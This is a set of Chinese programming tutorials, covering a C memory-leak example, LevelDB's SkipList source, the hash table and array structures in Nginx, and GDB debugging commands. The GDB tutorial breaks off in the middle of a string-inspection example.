    x = (int *)malloc(sizeof(int));
    //...
    x = NULL;
    //free(x);
    return 0;
}

这样的程序分配了内存空间，然后x指向这块内存（注意不要这样表述：使用malloc为x指针分配了空间，这样的表达方式是错误的，而应该是malloc分配了内存空间，然后x指针指向这块内存空间）。但是却将x置为NULL，这时候原来分配的内存空间的地址就丢失了，就没有办法对其释放，所以就会导致内存泄漏。

另外关于free的参数是空指针的问题（注意也不要表达成：free释放指针，应该是：释放指针所指向的内存空间），我在问答网站上提问了，请参见：http://segmentfault.com/q/1010000003697040

类似的Delphi的程序可能是这样的：

var
    ObjectA: ClassA;
begin
    ObjectA:= ClassA.Create;
    {...}
    ObjectA:= nil;
    //ObjectA.Free;    
end;

思考和总结

你可能会说，这种错误太明显了，我怎么可能会犯呢？

但是，当一个项目特别大的时候，有上万行，甚至数十万行的代码的时候，你还能保证不因为你的不细心或者各种意料之外的偶然而不出现这种情况吗？
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概览


今天开始看LevelDB的源码，看了几个大大小小的数据结构，印象深刻的应该是SkipList了，作为一个典型的以空间换时间的有序链表 相比平衡二叉树而言，还是简单了不少的（对于大多数操作需要O(log n)平均时间）。
SkipList是一个二维空间的链表。


找了个比较形象的图：





Skip List的定义


SkipList的定义：

1. 一个跳表应该有几个层（level）组成；

2. 跳表的第一层包含所有的元素；

3. 每一层都是一个有序的链表；

4. 如果元素x出现在第i层，则所有比i小的层都包含x；

5. 第i层的元素通过一个down指针指向下一层拥有相同值的元素；

6. 在每一层中，-1和1两个元素都出现(分别表示INT_MIN和INT_MAX)；

7. Top指针指向最高层的第一个元素。


然后我们看看LevelDB中是如何实现它的。

首先看下层级的定义，LevelDB中定义了一个SkipList最高层级为12。


enum { kMaxHeight = 12 };



然后层级越高的链中数据越少，也就是说，从下面数上去，最底下一层我们定义为第0层，它拥有所有的数据，它是一条严格递增的链表， 也是我们传统意义上的链表。如果我们在里面找数据，那需要花去O(n)的时间。


结点Node的定义


在LevelDB中，每一个节点用一个Node对象进行存储。Node的定义很简单，抛去一些原子操作，实际上它就是二维链上某个结点，其中包含了所有层级的信息，我们看下它的定义：


template<typename Key, class Comparator>
struct SkipList<Key,Comparator>::Node {
  explicit Node(const Key& k) : key(k) { }

  Key const key;

  // Accessors/mutators for links.  Wrapped in methods so we can
  // add the appropriate barriers as necessary.
  Node* Next(int n) {
    assert(n >= 0);
    // Use an 'acquire load' so that we observe a fully initialized
    // version of the returned Node.
    return reinterpret_cast<Node*>(next_[n].Acquire_Load());
  }
  void SetNext(int n, Node* x) {
    assert(n >= 0);
    // Use a 'release store' so that anybody who reads through this
    // pointer observes a fully initialized version of the inserted node.
    next_[n].Release_Store(x);
  }

  // No-barrier variants that can be safely used in a few locations.
  Node* NoBarrier_Next(int n) {
    assert(n >= 0);
    return reinterpret_cast<Node*>(next_[n].NoBarrier_Load());
  }
  void NoBarrier_SetNext(int n, Node* x) {
    assert(n >= 0);
    next_[n].NoBarrier_Store(x);
  }

 private:
  // Array of length equal to the node height.  next_[0] is lowest level link.
  port::AtomicPointer next_[1];
};

template<typename Key, class Comparator>
typename SkipList<Key,Comparator>::Node*
SkipList<Key,Comparator>::NewNode(const Key& key, int height) {
  char* mem = arena_->AllocateAligned(
      sizeof(Node) + sizeof(port::AtomicPointer) * (height - 1));
  return new (mem) Node(key);
}



这块其实特别少，它最后用了弹性指针的方式来对不同高度的Node进行不同内存的分配（这里的arena是LevelDB中的内存池，附带了对齐的特性，以后介绍），从而达到节省内存和优化对CPU缓存的目的。


插入结点


我们来简单看一个插入结点的操作。


template<typename Key, class Comparator>
void SkipList<Key,Comparator>::Insert(const Key& key) {
  // TODO(opt): We can use a barrier-free variant of FindGreaterOrEqual()
  // here since Insert() is externally synchronized.
  Node* prev[kMaxHeight];
  Node* x = FindGreaterOrEqual(key, prev);

  assert(x == NULL || !Equal(key, x->key));

  int height = RandomHeight();
  if (height > GetMaxHeight()) {
    for (int i = GetMaxHeight(); i < height; i++) {
      prev[i] = head_;
    }
    //fprintf(stderr, "Change height from %d to %d\n", max_height_, height);

    // It is ok to mutate max_height_ without any synchronization
    // with concurrent readers.  A concurrent reader that observes
    // the new value of max_height_ will see either the old value of
    // new level pointers from head_ (NULL), or a new value set in
    // the loop below.  In the former case the reader will
    // immediately drop to the next level since NULL sorts after all
    // keys.  In the latter case the reader will use the new node.
    max_height_.NoBarrier_Store(reinterpret_cast<void*>(height));
  }

  x = NewNode(key, height);
  for (int i = 0; i < height; i++) {
    // NoBarrier_SetNext() suffices since we will add a barrier when
    // we publish a pointer to "x" in prev[i].
    x->NoBarrier_SetNext(i, prev[i]->NoBarrier_Next(i));
    prev[i]->SetNext(i, x);
  }
}



这段代码的幽默感其实蛮强= = 我一开始不太理解RandomHeight的意义，后来查了一些资料才知道SkipList就是概率性的进行分层——我获取一个height的随机数，当然它是有要求的，就是在0和kMaxHeight之间，然后，我插入的这个结点就在0-height层上都分布了，同时需要修改前缀的指针（如果超越了当前的max_height_，那么同时也要修改max_height_）。


这里耗费的空间可能是O(n*kMaxHeight)了，然后浪费了这么多资源，目的当然是为了高效的读嘛，我们来看下它的读取操作是怎么做的。


读取Node


这段代码是读取大于等于key的第一个结点（并把所有层级上在key前面的结点记录到prev数组里）


template<typename Key, class Comparator>
typename SkipList<Key,Comparator>::Node* SkipList<Key,Comparator>::FindGreaterOrEqual(const Key& key, Node** prev)
    const {
  Node* x = head_;
  int level = GetMaxHeight() - 1;
  while (true) {
    Node* next = x->Next(level);
    if (KeyIsAfterNode(key, next)) {
      // Keep searching in this list
      x = next;
    } else {
      if (prev != NULL) prev[level] = x;
      if (level == 0) {
        return next;
      } else {
        // Switch to next list
        level--;
      }
    }
  }
}



我们的逻辑从最高层开始，我们已知最高层的结点分布是稀疏的，那么利用KeyIsAfterNode函数进行比较。

1. 在当前level，如果下一个结点的key比我要比较的key大，到步骤2。

2. 如果到底层了，返回下一个结点，否则降级，再执行1。


因为当前的x结点的下一个层级必然还是x结点，但是它的下一个结点的情况却是未知，因此把低层级的next结点和key进行比较，如此循环，我们就能利用稀疏的链迅速的在密集的链表中找到我们要的元素。


经过整体分析和理解，其实SkipList还是很简单的，最终也是利用了空间换时间的方法。只是它的生成有概率性，但是和平衡二叉树（AVL Tree）比起来，它整体的性价比还是非常可观的~


PS: Google的cpp代码真的很浅显易懂，稍微思考下，做一下笔记，就能明白其中的道理，真的很棒！（也许是LevelDB本身就很简单= =）



  欢迎关注我Github 以及 @Gemini
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关于hash表


Nginx实现的hash表和常见的hash表大体一致，细节有区别，所以，要了解ngx_hash_t最好对hash表的基础概念进行一下梳理。


数组与hash表


从查询的角度来看，数组根据索引值的查询速度很快快。

原因在于数组内元素的位置是基于数组起始位置的绝对位置，而且数组的存储空间是连续的，可以根据下标直接操作指针跳转。


虽然数组的查询速度很快，但是数组的索引值必须是数值，这就很讨厌了。

因为很多情况下，索引值并不是数字，而是字符串什么的。比如用名字来索引一个人。


解决这个问题的一个很容易的办法就是给每个人安排一个学号（先不考虑重名的情况），那么，在实际存储时，按照学号为索引值的数组来存储对应的信息；在查询时，只需要知道名字，就可以得到名字对应的学号，根据学号可以直接从数组中取出信息。


这个解决方法中有两个主要部分：



	建立从名字到学号的对应关系；

	建立以学号为索引值的数组；



从名字到学号的对应关系可以抽象成从字符串到数值的对应关系，这种对应关系，在数学上表示就是f(k)。其中k表示一个字符串（索引关键字），函数f表示从字符串到数值的对应关系，f(k)表示k经过f映射得到的值。


只要有了f(k)，那么将f(k)作为数组的下标即可获取k所对应的信息。

即


k------>f(k)------->info[f(k)]



其中，从k到f(k)的映射函数称为哈希函数，数组info[]称为哈希（hash）表。


hash表的问题及解决方法


理想是丰满的，现实是骨感的。hash表在建立时最关键之处在于找到合适的哈希函数，使得：



	
k与f(k)之间是一一映射的。即，保证给定对于k存在唯一的f(k)与之对应，同时对于f(k)存在唯一的k与之对应。

	
f(k)的集合是连续的。即，对于数组info[]而言，不存在数组项为空的情况，可以更加充分利用资源。



可惜，满足上述条件的哈希函数非常困难。

现在使用的各种哈希函数基本上只能保证较小概率出现两个不同的k其f(k)相同的情况。

基本不能保证f(k)的集合是连续的。


因为f(k)的集合不是连续的，所以哈希表也被称为散列表，哈希函数也被称为散列函数。

而出现两个k值对应的f(k)相同的情况，称为哈希冲突。


解决哈希冲突常见的办法

出现散列情况表示可能浪费一点资源，这是可以接受的。但是出现冲突表示会发生信息覆盖，这是错误，不能接受。所以，必须解决哈希冲突。


解决哈希冲突的常见的方法有：

1) 开放地址法；2）再哈希法；3）链地址法；


具体内容请自行google，这里就不去挖老坟了。


哈希表的建立


从上述的分析可知，建立哈希表有两个主要环节：


1）建立哈希函数；

2）建立哈希表（都是窟窿的数组）


其中，为了解决哈希冲突（假设采用链地址法），所建立的哈希表（数组）里的元素可能是一个链表或者一个数组。也就是说，哈希表是一个二维的结构。

同时，对于索引关键字，要求哈希函数获得的哈希值控制在一定范围内。


因此，哈希表大概长成这个样子：


ctypedef struct node_s{
     char    *key;
     char    *val;
     node_t  *next;
}node_t;

#define HASHSIZE 101
node_t* hashtable[HASHSIZE];



其中hashtable表示哈希表，key表示索引值，比如上述例子中某个学生的名字，node_t表示哈希表中存储的信息，同时也可以看到node_t是链表的一个节点，用于解决哈希冲突。


假设key的值是字符串"xiaoming"，根据某个哈希函数，得出的值为6，那么"xiaoming"的信息就可以从hashtable[6]链表中取得，这样再去遍历hashtable[6]这个链表，找到key等于"xiaoming"的链表节点，其val就是要查找的值。


从上述分析，可知，hash表是一种拿空间换取时间的数据结构。

关于hash表的各种实现方法及算法的算法复杂度，请自行google。





Nginx中的哈希表


需要指出的是，Nginx中自造的哈希表属于内部使用的数据结构，因此，并不是一个通用的哈希表。此外，为了提高效率，作者做了相当多的优化，这些优化使得Nginx中的哈希表与常规的哈希表长得不一样。


例如，Nginx的哈希表一经初始化就不可更改，既不能增加元素，也不能删除元素。

这样做主要是因为Nginx的哈希表用于解决类似于http模块中域名匹配的问题，这些域名在配置文件中配置，一旦读取配置文件，这些信息是不可修改的，因此，没有增删的需求。


另外，由于Nginx哈希表的这种只读特点，使得可以在性能上有很大的可优化空间。

而Nginx也确实在这上面作了很多文章。


数据结构


根据哈希表的概念可知：哈希表本身就是一个数组，因此，是一块连续的内存空间。

在Nginx中，内存的管理都是通过ngx_pool_t来管理的（不清楚的请移步这里）,因此，需要一个用来管理这块连续内存的结构体。


但是由于哈希表为了解决冲突问题，通常采用链地址法，所以，这个管理内存的结构体会使用指针的指针。


另外，由于Nginx的哈希表是只读的，冲突的元素个数可以在初始化是确定，所以使用数组来代替链表解决冲突是更优的选择。


这个用来代替链表的数组还有个名字叫hash桶，所以，会在Nginx源码中看到buckets这样的命名。


Nginx的哈希表在内存上大概是长这个样子的：



假设理想情况，所有的索引值key经过哈希函数映射后f(k)集合的大小为4。


为了解决冲突，我们将每个f(k)对应的数组大小设定为2。这样，我们的hash表在逻辑上就变成了一个4x2的数组。


当然，为了更好的说明情况，这里假设哈希函数是理想的，因此，hash表不存在未使用的部分。


所以，在内存上，Nginx哈希表的本尊，就是一段连续的内存空间，此外，还需要两个用来管理这段内存空间的数据结构。


1）大小为4的数组，类型为ngx_hash_elt_t *，用来分别指向不同的内存段，表示每个hash桶。

2）类型为ngx_hash_elt_t **的指针buckets，用来表示hash桶数组。


由于指针的指针可以完整的表示二维数组，因此，ngx_hash_elt_t *数组并不需要定义。只需定义ngx_hash_elt_t来表示hash表中的每个元素即可。


因此，Nginx哈希表的核心数据结构如下：


ngx_hash_elt_t用来表示hash表的元素。


ctypedef struct {
    void             *value;
    u_short           len;
    u_char            name[1];
} ngx_hash_elt_t;



ngx_hash_t用来表示整个hash表。


ctypedef struct {
    ngx_hash_elt_t  **buckets;
    ngx_uint_t        size;
} ngx_hash_t;



通过buckets这个指针的指针可以完整的访问二维数组。


Nginx中是如何使用这两个数据结构的呢？或者简化一下，Nginx是如何初始化这两个数据结构的呢？


首先，作为管理内存的结构体，ngx_hash_t既可以作为局部变量在栈上出现，也可以作为堆上的变量，使用ngx_pool_t管理。


以堆为例，


ngx_hash_t  *hash;
// 向ngx_pool_t申请空间，用于存放管理结构体ngx_hash_t及4个 ngx_hash_elt_t指针
hash = ngx_pcalloc(pool, sizeof(ngx_hash_t) + 4*sizeof(ngx_hash_elt_t *));

u_char *elts;
// 向ngx_pool_t申请hash表本身使用的连续内存块
elts = ngx_palloc(pool, 4 * 2 * sizeof(ngx_hash_elt_t));

ngx_hash_elt_t **buckets;
// 将管理结构体成员变量赋于正确的值。
for (i = 0; i < 4; i++) {
    buckets[i] = (ngx_hash_elt_t *) elts;  // 4个ngx_hash_elt_t指针指向正确地址；
    elts += 2 * sizeof(ngx_hash_elt_t);
}
hash->buckets = buckets;
hash->size = 4;




这段代码，在内存池中申请了一段连续的内存，分别用于1个ngx_hash_t和4个ngx_hash_elt_t *。


这样就把管理hash表那段连续内存块使用的ngx_hash_elt_t** buckets及ngx_hash_elt_t*数组一起创建了。


然后依次给每个ngx_hash_elt_t *赋值，使其指向正确的内存地址。




说明

以上代码自Nginx源码中简化而来，去除了许多用于优化的代码。


由于ngx_hash_t内容较多，这里只从设计角度分析了Nginx中的hash表。主要目的在于理清整体框架及思路。


细节部分，后续添加。先到这里。
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主要作用分析


ngx_array_t是Nginx内部使用的数组型数据结构，与C语言内置的数组概念上类似，但是有两点主要区别：


1）ngx_array_t使用ngx_pool_t内存池来管理内存；

2）ngx_array_t虽然有预设数组大小的概念，但是在数组元素超出预设值大小时，会在ngx_pool_t内存池中发生重分配。


但是需要指出，虽然ngx_array_t支持超出数组预设值，但是在内存重分配之后并不会重新利用原来的内存，会造成部分内存浪费。


数据结构


ngx_array_t


typedef struct {
    void        *elts;
    ngx_uint_t   nelts;
    size_t       size;
    ngx_uint_t   nalloc;
    ngx_pool_t  *pool;
} ngx_array_t;



从内存上来看，array是一块连续的内存区域。因此，作为描述数组的结构体需要：


描述起始地址及描述结束地址，此外需要描绘数组元素的大小以便于索引数组的每个元素，以及描述内存区域已使用的大小


这样，ngx_array_t的每个成员变量就很容易理解了：



	
elts用来描述数组使用的内存块的起始地址；

	
size用来描述数组元素的大小；

	
nalloc用来描述内存块最多能容纳的数组元素个数，因此，内存块的结束地址= elts+nalloc*size


	
nelts用来描述当前内存块已存在的元素个数；

	
pool表示ngx_array_t使用的内存所在的内存池。



ngx_array_t的管理和使用


ngx_array_t的使用可以从以下几个方面来分析：


1）ngx_array_t的创建；

2）如何向ngx_array_t添加元素；

3）如何销毁ngx_array_t；



ngx_array_t的创建


因为ngx_array_t使用elts指针来指向ngx_array_t实际使用的内存块，所以，ngx_array_t的创建分成两部分：


1.ngx_array_t结构体本身的创建；

2.ngx_array_t所管理的内存的创建；


在堆上创建ngx_array_t结构体本身，Nginx提供了函数：


ngx_array_t *ngx_array_create(ngx_pool_t *p, ngx_uint_t n, size_t size);



其定义如下：


ngx_array_t *
ngx_array_create(ngx_pool_t *p, ngx_uint_t n, size_t size)
{
    ngx_array_t *a;

    a = ngx_palloc(p, sizeof(ngx_array_t));
    if (a == NULL) {
        return NULL;
    }

    if (ngx_array_init(a, p, n, size) != NGX_OK) {
        return NULL;
    }

    return a;
}



从源代码可知：在堆上创建ngx_array_t结构体时，同时也创建了其所管理的内存。



ngx_array_t结构体本身的创建


两种方式：在堆上创建、在栈上创建



	在堆上创建，需要使用ngx_pool_t来管理内存。

= 在栈上创建，直接创建ngx_array_t局部变量即可。




ngx_array_t所管理内存的创建


向ngx_pool_t申请。


ngx_array_t所管理内存的创建，Nginx提供了函数：


static ngx_inline ngx_int_t
ngx_array_init(ngx_array_t *array, ngx_pool_t *pool, ngx_uint_t n, size_t size)
{
    /*
     * set "array->nelts" before "array->elts", otherwise MSVC thinks
     * that "array->nelts" may be used without having been initialized
     */

    array->nelts = 0;
    array->size = size;
    array->nalloc = n;
    array->pool = pool;

    array->elts = ngx_palloc(pool, n * size);
    if (array->elts == NULL) {
        return NGX_ERROR;
    }

    return NGX_OK;
}



这个函数很容易看明白。


输入在堆上或栈上创建的ngx_array_t结构体、申请内存使用的ngx_pool_t内存池、申请的数组元素数目、元素的大小。


函数将elts指向申请的内存空间首地址。



ngx_array_t添加元素


向ngx_array_t添加元素就是对内存进行操作。只需要提供elts + nelts * size指针，向其写入size大小的数据即为添加元素。


函数声明：


void *ngx_array_push(ngx_array_t *a);



函数定义：


void *
ngx_array_push(ngx_array_t *a)
{
    void        *elt, *new;
    size_t       size;
    ngx_pool_t  *p;
    // 数组元素超过预设值时发生内存重新分配
    if (a->nelts == a->nalloc) {

        /* the array is full */

        size = a->size * a->nalloc;

        p = a->pool;

        if ((u_char *) a->elts + size == p->d.last
            && p->d.last + a->size <= p->d.end)
        {
            /*
             * the array allocation is the last in the pool
             * and there is space for new allocation
             */

            p->d.last += a->size;
            a->nalloc++;

        } else {
            /* allocate a new array */

            new = ngx_palloc(p, 2 * size);
            if (new == NULL) {
                return NULL;
            }
            // 直接将原来的内容拷贝到新内存块中，原来的内存没有重新利用
            ngx_memcpy(new, a->elts, size);
            a->elts = new;
            a->nalloc *= 2;
        }
    }

    elt = (u_char *) a->elts + a->size * a->nelts;
    a->nelts++;

    return elt;
}



调用ngx_array_push获取分配给插入元素的内存地址。如果元素个数超过预设值，发生重分配内存。原来的内存没有处理，因此会发生浪费。


另外Nginx还提供了ngx_array_push_n这个函数来处理插入n个元素的情况。


可知，ngx_array_push是ngx_array_push_n中n=1是的特殊情况。他们的代码也基本相同。C语言不支持默认值参数，否则，这两个函数可以合成一个。



ngx_array_t销毁


根据ngx_array_t创建的分析，可知，ngx_array_t的销毁其实就是不去使用ngx_array_t。


因为，如果在堆上创建ngx_array_t，那么有ngx_pool_t负责管理内存，如果在栈上创建ngx_array_t则变量自动销毁。


而ngx_array_t所管理的内存有ngx_pool_t来负责管理。所以，只要不再使用ngx_array_t或者将ngx_array_t指针置空，则ngx_array_t销毁。


但是Nginx提供了一个用来destory的函数，我们来看看它做了些什么。


void
ngx_array_destroy(ngx_array_t *a)
{
    ngx_pool_t  *p;

    p = a->pool;
    // 释放ngx_array_t所管理的内存
    if ((u_char *) a->elts + a->size * a->nalloc == p->d.last) {
        p->d.last -= a->size * a->nalloc;
    }
    // 释放在堆中的ngx_array_t结构体本身
    if ((u_char *) a + sizeof(ngx_array_t) == p->d.last) {
        p->d.last = (u_char *) a;
    }
}



这个函数可能会发生两种重新回收利用内存的情况：



	当ngx_array_t所管理的内存正好是ngx_pool_t最近一次分配的内存。

	当堆中的ngx_array_t结构体变量本身正好是ngx_pool_t最近一次分配的内存。



所以，在使用完ngx_array_t之后，最好调用该函数，虽然它可能什么都会做，但是也可能进行内存池内存的重新利用，减少内存浪费。
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GDB是GNU开源组织发布的一个强大的UNIX下的程序调试工具，GDB主要可帮助工程师完成下面4个方面的功能：


	启动程序，可以按照工程师自定义的要求随心所欲的运行程序。


	让被调试的程序在工程师指定的断点处停住，断点可以是条件表达式。


	当程序被停住时，可以检查此时程序中所发生的事，并追索上文。


	动态地改变程序的执行环境。




不管是调试Linux内核空间的驱动还是调试用户空间的应用程序，掌握gdb的用法都是必须。而且，调试内核和调试应用程序时使用的gdb命令是完全相同的，下面以代码清单22.2的应用程序为例演示gdb调试器的用法。

1  int add(int a, int b)  
2  {  
3    return a + b;  
4  }  
5    
6  main()  
7  {  
8    int sum[10] =   
9    {  
10     0, 0, 0, 0, 0, 0, 0, 0, 0, 0       
11   }  ;  
12   int i;  
13     
14   int array1[10] =  
15   {  
16     48, 56, 77, 33, 33, 11, 226, 544, 78, 90  
17   };  
18   int array2[10] =  
19   {  
20     85, 99, 66, 0x199, 393, 11, 1, 2, 3, 4  
21   };  
22   
23   for (i = 0; i < 10; i++)  
24   {  
25     sum[i] = add(array1[i], array2[i]);  
26   }  
27 }  


使用命令gcc –g gdb_example.c –o gdb_example编译上述程序，得到包含调试信息的二进制文件example，执行gdb gdb_example命令进入调试状态：

[root@localhost driver_study]# gdb gdb_example  
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)  
Copyright 2003 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public License, and you are  
welcome to change it and/or distribute copies of it under certain conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB.  Type "show warranty" for details.  
This GDB was configured as "i386-redhat-linux-gnu"...  
(gdb)  


list命令

在gdb中运行list命令（缩写l）可以列出代码，list的具体形式包括：

	list <linenum> ，显示程序第linenum行周围的源程序，如：




    (gdb) list 15  
    10          
    11        int array1[10] =  
    12        {  
    13          48, 56, 77, 33, 33, 11, 226, 544, 78, 90  
    14        };  
    15        int array2[10] =  
    16        {  
    17          85, 99, 66, 0x199, 393, 11, 1, 2, 3, 4  
    18        };  
    19  

	list <function>，显示函数名为function的函数的源程序，如：




    (gdb) list main  
    2       {  
    3         return a + b;  
    4       }  
    5  
    6       main()  
    7       {  
    8         int sum[10];  
    9         int i;  
    10          
    11        int array1[10] =  


	list，显示当前行后面的源程序。


	list - ，显示当前行前面的源程序。




下面演示了使用gdb中的run（缩写r）、break（缩写b）、next（缩写n）命令控制程序的运行，并使用print（缩写p）命令打印程序中的变量sum的过程：

(gdb) break add
Breakpoint 1 at 0x80482f7: file gdb_example.c, line 3.
(gdb) run  
Starting program: /driver_study/gdb_example 

Breakpoint 1, add (a=48, b=85) at gdb_example.c:3
warning: Source file is more recent than executable.

3         return a + b;
(gdb) next
4       }
(gdb) next
main () at gdb_example.c:23
23        for (i = 0; i < 10; i++)
(gdb) next
25          sum[i] = add(array1[i], array2[i]);
(gdb) print sum
$1 = {133, 0, 0, 0, 0, 0, 0, 0, 0, 0}


run命令

在gdb中，运行程序使用run命令。在程序运行前，我们可以设置如下4方面的工作环境：

	程序运行参数




set args 可指定运行时参数，如：set args 10 20 30 40 50；show args 命令可以查看设置好的运行参数。

	运行环境




path <dir> 可设定程序的运行路径；how paths可查看程序的运行路径；set environment varname [=value]用于设置环境变量，如set env USER=baohua；

show environment [varname]则用于查看环境变量。

	工作目录




cd <dir> 相当于shell的cd命令；pwd 显示当前所在的目录。

	程序的输入输出




info terminal 用于显示程序用到的终端的模式；gdb中也可以使用重定向控制程序输出，如run > outfile；

tty命令可以指定输入输出的终端设备，如：tty /dev/ttyS1。

break命令

在gdb中用break命令来设置断点，设置断点的方法包括：

	break <function>




在进入指定函数时停住，C++中可以使用class::function或function(type, type)格式来指定函数名。

	break <linenum> 




在指定行号停住。

	break +offset / break -offset




在当前行号的前面或后面的offset行停住，offiset为自然数。

	break filename:linenum




在源文件filename的linenum行处停住。

	break filename:function




在源文件filename的function函数的入口处停住。

	break *address




在程序运行的内存地址处停住。

	break




break命令没有参数时，表示在下一条指令处停住。

	break ... if <condition>




“...”可以是上述的break <linenum>、break +offset、break –offset中的参数，condition表示条件，在条件成立时停住。比如在循环体中，可以设置break if i=100，表示当i为100时停住程序。

查看断点时，可使用info命令，如info breakpoints [n]、info break [n]（n表示断点号）。

单步命令

在调试过程中，next命令用于单步执行，类似VC++中的step over。next的单步不会进入函数的内部，与next对应的step（缩写s）命令则在单步执行一个函数时，会进入其内部，类似VC++中的step into。下面演示了step命令的执行情况，在23行的add()函数调用处执行step会进入其内部的“return a+b;”语句：

(gdb) break 25  
Breakpoint 1 at 0x8048362: file gdb_example.c, line 25.  
(gdb) run  
Starting program: /driver_study/gdb_example   
  
Breakpoint 1, main () at gdb_example.c:25  
25          sum[i] = add(array1[i], array2[i]);  
(gdb) step  
add (a=48, b=85) at gdb_example.c:3  
3         return a + b;  


单步执行的更复杂用法包括：

	step <count>




单步跟踪，如果有函数调用，则进入该函数（进入函数的前提是，此函数被编译有debug信息）。step后面不加count表示一条条地执行，加表示执行后面的count条指令，然后再停住。

	next <count>




单步跟踪，如果有函数调用，它不会进入该函数。同样地，next后面不加count表示一条条地执行，加表示执行后面的count条指令，然后再停住。

	set step-mode




set step-mode on用于打开step-mode模式，这样，在进行单步跟踪时，程序不会因为没有debug信息而不停住，这个参数的设置可便于查看机器码。set step-mod off用于关闭step-mode模式。

	finish




运行程序，直到当前函数完成返回，并打印函数返回时的堆栈地址和返回值及参数值等信息。

	until （缩写u）




一直在循环体内执行单步，退不出来是一件令人烦恼的事情，until命令可以运行程序直到退出循环体。

	stepi（缩写si）和nexti（缩写ni）




stepi和nexti用于单步跟踪一条机器指令，一条程序代码有可能由数条机器指令完成，stepi和nexti可以单步执行机器指令。 另外，运行“display/i $pc”命令后，单步跟踪会在打出程序代码的同时打出机器指令，即汇编代码。

continue命令

当程序被停住后，可以使用continue命令（缩写c，fg命令同continue命令）恢复程序的运行直到程序结束，或到达下一个断点，命令格式为：

continue [ignore-count]  
c [ignore-count]  
fg [ignore-count]  


ignore-count表示忽略其后多少次断点。 假设我们设置了函数断点add()，并watch i，则在continue过程中，每次遇到add()函数或i发生变化，程序就会停住，如：

(gdb) continue  
Continuing.  
Hardware watchpoint 3: i  
  
Old value = 2  
New value = 3  
0x0804838d in main () at gdb_example.c:23  
23        for (i = 0; i < 10; i++)  
(gdb) continue  
Continuing.  
  
Breakpoint 1, main () at gdb_example.c:25  
25          sum[i] = add(array1[i], array2[i]);  
(gdb) continue  
Continuing.  
Hardware watchpoint 3: i  
  
Old value = 3  
New value = 4  
0x0804838d in main () at gdb_example.c:23  
23        for (i = 0; i < 10; i++)  


print命令

在调试程序时，当程序被停住时，可以使用print命令（缩写为p），或是同义命令inspect来查看当前程序的运行数据。print命令的格式是：

print <expr>  
print /<f> <expr>  


<expr>是表达式，是被调试的程序中的表达式，<f>是输出的格式，比如，如果要把表达式按16进制的格式输出，那么就是/x。在表达式中，有几种GDB所支持的操作符，它们可以用在任何一种语言中，“@”是一个和数组有关的操作符，“::”指定一个在文件或是函数中的变量，“{<type>} <addr>”表示一个指向内存地址<addr>的类型为type的一个对象。

下面演示了查看sum[]数组的值的过程：

(gdb) print sum  
$2 = {133, 155, 0, 0, 0, 0, 0, 0, 0, 0}  
(gdb) next  
  
Breakpoint 1, main () at gdb_example.c:25  
25          sum[i] = add(array1[i], array2[i]);  
(gdb) next  
23        for (i = 0; i < 10; i++)  
(gdb) print sum  
$3 = {133, 155, 143, 0, 0, 0, 0, 0, 0, 0}  


当需要查看一段连续内存空间的值的时间，可以使用GDB的“@”操作符，“@”的左边是第一个内存地址，“@”的右边则是想查看内存的长度。例如如下动态申请的内存：

int *array = (int *) malloc (len * sizeof (int));


在GDB调试过程中这样显示出这个动态数组的值：p *array@len

print的输出格式包括：


	x 按十六进制格式显示变量。


	d 按十进制格式显示变量。


	u 按十六进制格式显示无符号整型。


	o 按八进制格式显示变量。


	t 按二进制格式显示变量。


	a 按十六进制格式显示变量。


	c 按字符格式显示变量。


	f 按浮点数格式显示变量。




我们可用display命令设置一些自动显示的变量，当程序停住时，或是单步跟踪时，这些变量会自动显示。 如果要修改变量，如x的值，可使用如下命令：print x=4

当用GDB的print查看程序运行时的数据时，每一个print都会被GDB记录下来。GDB会以$1，$2，$3 …这样的方式为每一个print命令编号。我们可以使用这个编号访问以前的表达式，如$1。

watch命令

watch一般来观察某个表达式（变量也是一种表达式）的值是否有变化了，如果有变化，马上停住程序。我们有下面的几种方法来设置观察点：


	watch <expr>：为表达式（变量）expr设置一个观察点。一量表达式值有变化时，马上停住程序。


	rwatch <expr>：当表达式（变量）expr被读时，停住程序。


	awatch <expr>：当表达式（变量）的值被读或被写时，停住程序。info watchpoints：列出当前所设置了的所有观察点。




下面演示了观察i并在连续运行next时一旦发现i变化，i值就会显示出来的过程：

(gdb) watch i  
Hardware watchpoint 3: i  
(gdb) next  
23        for (i = 0; i < 10; i++)  
(gdb) next  
Hardware watchpoint 3: i  
  
Old value = 0  
New value = 1  
0x0804838d in main () at gdb_example.c:23  
23        for (i = 0; i < 10; i++)  
(gdb) next  
  
Breakpoint 1, main () at gdb_example.c:25  
25          sum[i] = add(array1[i], array2[i]);  
(gdb) next  
23        for (i = 0; i < 10; i++)  
(gdb) next  
Hardware watchpoint 3: i  
  
Old value = 1  
New value = 2  
0x0804838d in main () at gdb_example.c:23  
23        for (i = 0; i < 10; i++)  


examine命令

我们可以使用examine命令（缩写为x）来查看内存地址中的值。examine命令的语法如下所示：

x/<n/f/u> <addr> 

<addr>表示一个内存地址。“x/”后的n、f、u都是可选的参数，n 是一个正整数，表示显示内存的长度，也就是说从当前地址向后显示几个地址的内容；f 表示显示的格式，如果地址所指的是字符串，那么格式可以是s，如果地址是指令地址，那么格式可以是i；u 表示从当前地址往后请求的字节数，如果不指定的话，GDB默认是4字节。u参数可以被一些字符代替：b表示单字节，h表示双字节，w表示四字节，g表示八字节。当我们指定了字节长度后，GDB会从指定的内存地址开始，读写指定字节，并把其当作一个值取出来。n、f、u这3个参数可以一起使用，例如命令“x/3uh 0x54320”表示从内存地址0x54320开始以双字节为1个单位（h）、16进制方式（u）显示3个单位（3）的内存。 ==

譬如下面的例子：

main()  
{  
        char *c = "hello world";  
        printf("%s\n", c);  
}  


我们在

char *c = "hello world";  


下一行设置断点后：

(gdb) l  
1    main()  
2    {  
3        char *c = "hello world";  
4        printf("%s\n", c);  
5    }  
(gdb) b 4  
Breakpoint 1 at 0x100000f17: file main.c, line 4.  
(gdb) r  
Starting program: /Users/songbarry/main  
Reading symbols for shared libraries +. done  
  
Breakpoint 1, main () at main.c:4  
4        printf("%s\n", c);  


可以通过多种方式看C指向的字符串：


	
方法1：

(gdb) p c  
$1 = 0x100000f2e "hello world"  




	
方法2：

(gdb) x/s 0x100000f2e  
0x100000f2e:     "hello world"  




	
方法3：

(gdb) p (char *)0x100000f2e  
$3 = 0x100000f2e "hello world"  




	
将第一个字符改为大写：

(gdb) p *(char *)0x100000f2e='H'  
$4 = 72 'H'  




	
再看看C：

(gdb) p c  
